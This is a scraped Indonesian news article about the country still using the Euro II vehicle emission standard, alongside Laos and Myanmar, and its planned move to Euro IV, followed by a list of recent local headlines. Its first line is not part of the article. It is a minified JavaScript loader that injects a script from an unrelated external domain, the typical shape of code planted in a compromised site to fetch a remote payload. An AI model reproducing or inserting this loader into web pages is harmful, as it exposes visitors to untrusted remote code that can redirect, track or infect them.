(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Otomotif

Gas Buang di Indonesia Masih Euro II, Selevel Laos dan Myanmar


Sampai saat ini, Indonesia masih menggunakan standar emisi Euro II. Kondisi ini membuat Indonesia jadi satu dari tiga negara Asia yang masih menggunakan standar tersebut. Gabungan Industri Kendaraan Bermotor Indonesia (Gaikindo) mencatat dua negara lain yang juga masih menggunakan standar Euro II adalah Laos dan Myanmar. Sedangkan sebagian besar negara lain sudah menerapkan standar Euro III, Euro IV, bahkan standar yang lebih tinggi lagi.

Indonesia berencana baru akan mulai memasuki era Euro IV mulai Oktober 2018 khusus untuk mesin bensin, dan April 2021 untuk mesin diesel. Hal itu mengacu ketentuan Pemerintah Republik Indonesia melalui Keputusan Menteri LHK No 20/2017.

Direktur Jenderal Industri Logam, Mesin, Alat Transportasi dan Elektronika (ILMATE) Kementerian Perindustrian ( Kemenperin) Harjanto mengatakan, pengembangan kendaraan dengan standar emisi Euro IV merupakan salah satu upaya pemerintah untuk memulai era kendaraan emisi rendah atau low carbon emission vehicle (LCEV).

Menurut Harjanto, masuknya era LCEV tidak hanya berpatok pada mobil listrik semata. Sebab jika langsung ke mobil listrik, maka ada begitu banyak aspek yang harus dipersiapkan oleh Indonesia, dari mulai infrastruktur pendukung hingga komponen. “Tagline kita low carbon itu, definisi kita canangkan beberapa jenis kendaraan yang intinya semakin turunkan emisi, maka semakin diberikan pembebasan atau bisa menikmati PPnBM sehingga industri bisa didorong menggerakkan teknologi ramah lingkungan,” kata Harjanto saat seminar “Studi Pengembangan Electric Vehicle” di Arena GIIAS 2018, di ICE, BSD City, Tangerang, Kamis (9/8).

Penerapan standar gas buang kendaraan bermotor diawali dengan penerapan Standar Emisi Gas Buang Euro I yang diberlakukan di benua Eropa pada tahun 1992. Dalam perkembangannya, Standar Baku Emisi Gas buang kendaraan bermotor ini semakin banyak diadopsi oleh negara-negara di dunia, sebagai upaya bersama untuk mengurangi polusi udara yang bersumber dari emisi gas buang kendaraan bermotor.

Seiring dengan perkembangan teknologi serta kesadaran masyarakat dunia tentang pentingnya mendapatkan udara yang bersih, maka standar Baku Emisi Gas Buang Kendaraan bermotor juga semakin ketat batasannya. Saat ini di Eropa sudah mencapai tahapan Euro VI sebagai sebuah standar Emisi Gas buang yang paling tinggi dan paling ketat. (kmps/bie)

Reporter : Bie/kmps
Editor : Bie

Desy Arfianty

Recent Posts

Ibadah dan Sosial Ekonomi Berkembang, Masjid At-Taqwa Karang Anyar III Diperluas

KANALKALIMANTAN.COM, BANJARBARU - Dalam beberapa tahun terakhir, antusias warga dalam melaksanakan peribadatan di Masjid At… Read More

2 jam ago

Amuntai Expo dan Bazar Ekonomi Kreatif 2024

KANALKALIMANTAN.COM, AMUNTAI - Memeriahkan Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU) digelar Amuntai Expo… Read More

12 jam ago

Warga Muhammadiyah Banjarbaru Berhalalbihalal di Masjid At Taqwa

KANALKALIMANTAN.COM, BANJARBARU - Pimpinan Cabang Muhammadiyah Banjarbaru Utara menggelar halalbihalal sekaligus Hari Bermuhammadiyah kali pertama… Read More

15 jam ago

5 Mei Hari Bidan Sedunia

KANALKALIMANTAN.COM – Negara-negara di dunia merayakan Hari Bidan Sedunia yang jatuh pada 5 Mei setiap… Read More

20 jam ago

Syamsudin Noor Jadi Bandara Domestik, Begini Respon Wali Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pencopotan status internasional pada Bandara Syamsudin Noor Banjarmasin yang terletak di Kota… Read More

21 jam ago

Presiden Jokowi di Booth PLN PEVS 2024, Dirut PLN Paparkan Kesiapan Ekosistem Kendaraan Listrik

KANALKALIMANTAN.COM, JAKARTA - Presiden Republik Indonesia Joko Widodo (Jokowi) mengunjungi booth PT PLN (Persero) dalam… Read More

24 jam ago

This website uses cookies.